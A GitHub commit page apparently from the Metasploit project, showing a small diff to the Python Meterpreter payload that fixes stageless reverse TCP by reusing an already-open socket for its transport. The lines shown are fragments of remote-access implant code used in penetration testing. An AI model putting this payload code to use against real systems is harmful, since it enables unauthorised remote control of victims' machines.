Skip to content

Commit b632aef

Browse files
dledda-r7smcintyre-r7
authored andcommitted
fix: issue with stageless reverse tcp in python
1 parent cf1e363 commit b632aef

1 file changed

Lines changed: 4 additions & 3 deletions

File tree

python/meterpreter/meterpreter.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2304,11 +2304,12 @@ def encrypt(self, pt):
23042304
_dbg_fh.setLevel(logging.DEBUG)
23052305
logging.getLogger().addHandler(_dbg_fh)
23062306
transport = config['transports'][0]
2307-
# For staged TCP payloads, the stager has already established the socket
2308-
# connection, so bind it to the first transport instead of reconnecting.
2307+
# PATCH-SETUP-STAGELESS-TCP-SOCKET #
2308+
# For staged/stageless TCP payloads where the socket `s` is already
2309+
# established (by the stager or by the patched code above), bind it
2310+
# to the transport instead of reconnecting.
23092311
if isinstance(transport, TcpTransport) and 's' in globals():
23102312
transport.socket = s
2311-
# PATCH-SETUP-STAGELESS-TCP-SOCKET #
23122313
met = PythonMeterpreter(transport)
23132314
met.session_expiry_time = config['session_expiry']
23142315
met.session_expiry_end = time.time() + config['session_expiry']

0 commit comments

Comments
 (0)